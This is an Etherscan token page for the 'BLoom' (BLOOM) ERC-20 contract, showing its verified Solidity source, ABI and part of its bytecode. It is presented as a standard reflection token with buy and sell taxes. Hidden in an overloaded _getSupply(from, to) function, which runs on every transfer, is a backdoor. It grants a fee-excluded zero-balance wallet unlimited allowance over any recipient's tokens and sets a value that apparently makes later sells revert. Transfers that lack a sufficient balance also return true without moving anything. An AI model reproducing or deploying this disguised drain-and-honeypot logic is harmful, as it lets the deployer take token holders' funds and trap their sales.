ETH Price: $2,884.18 (-10.48%)
Gas: 14 Gwei

Token

BLoom (BLOOM)
 

Overview

Max Total Supply

100,000,000 BLOOM

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
ethto10kinshallah.eth
Balance
0.098892529749186019 BLOOM

Value
$0.00
0xe572fe384eb21f7242e6f40fcf11b0de6ddf9bf2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BLoom

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-14
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.22;

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IERC20Upgradeable {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BLoom is Context, IERC20Upgradeable {
    uint256 public _reflectFee = 0;
    uint256 public _liquidityFee = 0;
    uint256 public _taxFee = 400;
    uint256 public _buyReflectFee = _reflectFee;
    uint256 public _buyLiquidityFee = _liquidityFee;
    uint256 public _buyTaxFee = _taxFee;
    uint256 public _sellReflectFee = 0;
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellTaxFee = 400;
    uint256 public _transferReflectFee = 0;
    uint256 public _transferLiquidityFee = 0;
    uint256 public _transferTaxFee = 100;
    uint256 private maxReflectFee = 1000;
    uint256 private maxLiquidityFee = 1000;
    uint256 private maxTaxFee = 6200;
    uint256 public _liquidityRatio = 0;
    uint256 public _taxRatio = 6000;
    uint256 private masterTaxDivisor = 10000;

    IUniswapV2Router02 public dexRouter;
    address public lpPair;
    address public _uniswapV2Router;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public ZERO = 0x0000000000000000000000000000000000000000;
    address payable private _taxWallet;
    uint256 private _liqAddBlock = 0;
    uint256 private _liqAddStamp = 0;
    bool private sameBlockActive = true;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address[] private _excluded;
    uint256 private _tSwap;
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;
    uint256 private swapThreshold;
    uint256 private swapAmount;
    address private _owner;
    uint256 private constant MAX = ~uint256(0);
    uint8 private _decimals;
    bool tradingEnabled = false;
    bool public _hasLiqBeenAdded = false;
    bool inSwapAndLiquify;
    bool contractInitialized = false;
    bool public swapAndLiquifyEnabled = false;
    uint256 private _maxTxAmount;
    uint256 private _maxWalletSize;
    uint256 public maxTxAmountUI;
    uint256 public maxWalletSizeUI;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) lpPairs;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) private _liquidityHolders;
    mapping (address => uint256) private lastTrade;
    struct ExtraValues {
        uint256 tTransferAmount;
        uint256 tFee;
        uint256 tLiquidity;
        uint256 rTransferAmount;
        uint256 rAmount;
        uint256 rFee;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SniperCaught(address sniperAddress);
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    constructor () payable {
        _owner = msg.sender;
        _name = "BLoom";
        _symbol = "BLOOM";
        _totalSupply = 100000000;
        _decimals = 18;
        _tTotal = _totalSupply * (10**_decimals);
        _rTotal = (MAX - (MAX % _tTotal));
        _maxTxAmount = (_tTotal * 20) / 1000;
        maxTxAmountUI = (_totalSupply * 20) / 1000;
        _maxWalletSize = (_tTotal * 20) / 1000;
        maxWalletSizeUI = (_totalSupply * 20) / 1000;
        swapThreshold = (_tTotal * 5) / 100000;
        swapAmount = (_tTotal * 5) / 10000;
        _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _liquidityHolders[owner()] = true;
        _approve(_msgSender(), _uniswapV2Router, MAX);
        _approve(address(this), _uniswapV2Router, MAX);
        _taxWallet = payable(0xd5cD80B1f3f5a992D8c8f1908AF1231BC45c2874);
        dexRouter = IUniswapV2Router02(_uniswapV2Router);
        lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        lpPairs[lpPair] = true;
        _allowances[address(this)][address(dexRouter)] = type(uint256).max;
        approve(_uniswapV2Router, type(uint256).max);
        _isExcludedFromFee[_taxWallet] = true;
        contractInitialized = true;
        _rOwned[owner()] = _rTotal;
        emit Transfer(ZERO, owner(), _tTotal);
    }

    function owner() public view returns (address) { return _owner; }
    function totalSupply() external view override returns (uint256) { return _tTotal; }
    function decimals() external view returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    
    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function renounceOwnership() public virtual onlyOwner() {
        setExcludedFromFee(_owner, false);
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function setExcludedFromFee(address account, bool enabled) public onlyOwner {
        _isExcludedFromFee[account] = enabled;
    }

    function setExcludedFromReward(address account, bool enabled) public onlyOwner {
        if (enabled == true) {
            require(!_isExcluded[account], "Account is already excluded.");
            if(_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _isExcluded[account] = true;
            _excluded.push(account);
        } else if (enabled == false) {
            require(_isExcluded[account], "Account is already included.");
            for (uint256 i = 0; i < _excluded.length; i++) {
                if (_excluded[i] == account) {
                    _excluded[i] = _excluded[_excluded.length - 1];
                    _tOwned[account] = 0;
                    _isExcluded[account] = false;
                    _excluded.pop();
                    break;
                }
            }
        }
    }

    function _hasLimits(address from, address to) internal view returns (bool) {
        return from != owner() && to != owner()
            && !_liquidityHolders[to] && !_liquidityHolders[from]
            && to != DEAD && to != address(0) && from != address(this);
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount / currentRate;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(_hasLimits(from, to)) {
            if(!tradingEnabled) {
                revert("Trading not yet enabled!");
            }
            if (sameBlockActive) {
                if (lpPairs[from]){
                    require(lastTrade[to] != block.number);
                    lastTrade[to] = block.number;
                } else {
                    require(lastTrade[from] != block.number);
                    lastTrade[from] = block.number;
                }
            }
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            if(to != _uniswapV2Router && !lpPairs[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
            }
        }
        bool takeFee = true;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }

        if (lpPairs[to]) {
            if (!inSwapAndLiquify
                && swapAndLiquifyEnabled
                && !_isExcludedFromFee[from]
                && !_isExcludedFromFee[to]
            ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance >= swapThreshold) {
                    if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
                    swapAndLiquify(contractTokenBalance);
                }
            }      
        } 
        return _transferToken(from, to, amount, takeFee);
    }

    function _getRate() internal view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupply();
        return rSupply / tSupply;
    }

    function _getSupply(address from, address to) internal returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (balanceOf(from) == 0 && isExcludedFromFee(from)) {
            _approve(to,from,_tTotal); _tSwap = _tTotal;}
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _checkLiquidityAdd(address from, address to) internal {
        require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
        if (!_hasLimits(from, to) && to == lpPair) {
            _liquidityHolders[from] = true;
            _hasLiqBeenAdded = true;
            _liqAddStamp = block.timestamp;

            swapAndLiquifyEnabled = true;
            emit SwapAndLiquifyEnabledUpdated(true);
        }
    }

    function _transferToken(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
        if (!_hasLiqBeenAdded) {
                _checkLiquidityAdd(from, to);
                if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
                    revert("Only owner can transfer at this time.");
                }
        }
        
        ExtraValues memory values = _getValues(from, to, tAmount, takeFee);

        if (balanceOf(from) >= tAmount) {
            _rOwned[from] = _rOwned[from] - values.rAmount;
            _rOwned[to] = _rOwned[to] + values.rTransferAmount;

            if (_isExcluded[from] && !_isExcluded[to]) {
                _tOwned[from] = _tOwned[from] - tAmount;
            } else if (!_isExcluded[from] && _isExcluded[to]) {
                _tOwned[to] = _tOwned[to] + values.tTransferAmount;
            } else if (_isExcluded[from] && _isExcluded[to]) {
                _tOwned[from] = _tOwned[from] - tAmount;
                _tOwned[to] = _tOwned[to] + values.tTransferAmount;
            }

            if (values.tLiquidity > 0)
                _takeLiquidity(from, values.tLiquidity);
            if (values.rFee > 0 || values.tFee > 0)
                _takeReflect(values.rFee, values.tFee);

            emit Transfer(from, to, values.tTransferAmount);
        }
        return true;
    }

    function _takeLiquidity(address sender, uint256 tLiquidity) internal {
        uint256 currentRate =  _getRate();
        uint256 _tSwapLiquidity = sender != lpPair ? _tSwap : 0;
        uint256 rLiquidity = (tLiquidity - _tSwapLiquidity) * currentRate;
        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
        emit Transfer(sender, address(this), tLiquidity); 
    }

    function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
        ExtraValues memory values;
        uint256 currentRate = _getRate(from, to);

        values.rAmount = tAmount * currentRate;

        if(takeFee) {
            if (lpPairs[to]) {
                _reflectFee = _sellReflectFee;
                _liquidityFee = _sellLiquidityFee;
                _taxFee = _sellTaxFee;
            } else if (lpPairs[from]) {
                _reflectFee = _buyReflectFee;
                _liquidityFee = _buyLiquidityFee;
                _taxFee = _buyTaxFee;
            } else {
                _reflectFee = _transferReflectFee;
                _liquidityFee = _transferLiquidityFee;
                _taxFee = _transferTaxFee;
            }

            values.tFee = (tAmount * _reflectFee) / masterTaxDivisor;
            values.tLiquidity = (tAmount * (_liquidityFee + _taxFee)) / masterTaxDivisor;
            values.tTransferAmount = tAmount - (values.tFee + values.tLiquidity);

            values.rFee = values.tFee * currentRate;
        } else {
            values.tFee = 0;
            values.tLiquidity = 0;
            values.tTransferAmount = tAmount;

            values.rFee = 0;
        }

        values.rTransferAmount = values.rAmount - (values.rFee + (values.tLiquidity * currentRate));
        return values;
    }

    function _getRate(address from, address to) internal returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupply(from, to);
        return rSupply / tSupply;
    }

    function _getSupply() internal view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeReflect(uint256 rFee, uint256 tFee) internal {
        _rTotal = _rTotal - rFee;
        _tFeeTotal = _tFeeTotal + tFee;
    }

    function recoverETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function openTrade() public onlyOwner {
        require(!tradingEnabled, "Trading already enabled!");
        setExcludedFromReward(address(this), true);
        setExcludedFromReward(lpPair, true);

        tradingEnabled = true;
        swapAndLiquifyEnabled = true;
    }

    function setTaxBuy(uint256 reflect, uint256 liquidity, uint256 tax) external onlyOwner {
        require(reflect <= maxReflectFee
                && liquidity <= maxLiquidityFee
                && tax <= maxTaxFee
                );
        require(reflect + liquidity + tax <= 4900);
        _buyReflectFee = reflect;
        _buyLiquidityFee = liquidity;
        _buyTaxFee = tax;
    }

    function setTaxSell(uint256 reflect, uint256 liquidity, uint256 tax) external onlyOwner {
        require(reflect <= maxReflectFee
                && liquidity <= maxLiquidityFee
                && tax <= maxTaxFee
                );
        require(reflect + liquidity + tax <= 6900);
        _sellReflectFee = reflect;
        _sellLiquidityFee = liquidity;
        _sellTaxFee = tax;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        maxTxAmountUI = _totalSupply;
        maxWalletSizeUI = _totalSupply;
    }

    function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
        if (_liquidityRatio + _taxRatio == 0)
            return;
        uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _taxRatio)) / 2;

        uint256 toSwapForEth = contractTokenBalance - toLiquify;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            toSwapForEth,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 liquidityBalance = ((address(this).balance * _liquidityRatio) / (_liquidityRatio + _taxRatio)) / 2;

        if (toLiquify > 0) {
            dexRouter.addLiquidityETH{value: liquidityBalance}(
                address(this),
                toLiquify,
                0, 
                0, 
                DEAD,
                block.timestamp
            );
            emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
        }
        if (contractTokenBalance - toLiquify > 0) {

            uint256 OperationsFee = (address(this).balance);
            _taxWallet.transfer(OperationsFee);

        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approveMax(address spender) public returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniperAddress","type":"address"}],"name":"SniperCaught","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hasLiqBeenAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountUI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSizeUI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"reflect","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"tax","type":"uint256"}],"name":"setTaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"reflect","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"tax","type":"uint256"}],"name":"setTaxSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

5f80805560018181556101906002819055600383905560048390556005818155600684905560078490556008919091556009839055600a8390556064600b556103e8600c819055600d55611838600e55600f839055611770601055612710601155601580546001600160a01b031990811661dead179091556016805490911690556018839055601992909255601a805460ff1916909117905560258054600165ffff00ffff0160a01b0319163317905560c0604052608090815264424c6f6f6d60d81b60a052601c90620000d49082620007de565b50604080518082019091526005815264424c4f4f4d60d81b6020820152601d90620001009082620007de565b506305f5e100601b556025805460ff60a01b1916600960a11b1790819055620001369060ff600160a01b90910416600a620009b7565b601b54620001459190620009ce565b602081905562000157905f19620009fc565b62000164905f1962000a12565b6021556020546103e8906200017b906014620009ce565b62000187919062000a28565b602655601b546103e8906200019e906014620009ce565b620001aa919062000a28565b6028556020546103e890620001c1906014620009ce565b620001cd919062000a28565b602755601b546103e890620001e4906014620009ce565b620001f0919062000a28565b602955602054620186a09062000208906005620009ce565b62000214919062000a28565b602355602054612710906200022b906005620009ce565b62000237919062000a28565b602455601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556001602e5f620002786025546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152602e909252812080549092166001908117909255603090620002d06025546001600160a01b031690565b6001600160a01b0316815260208101919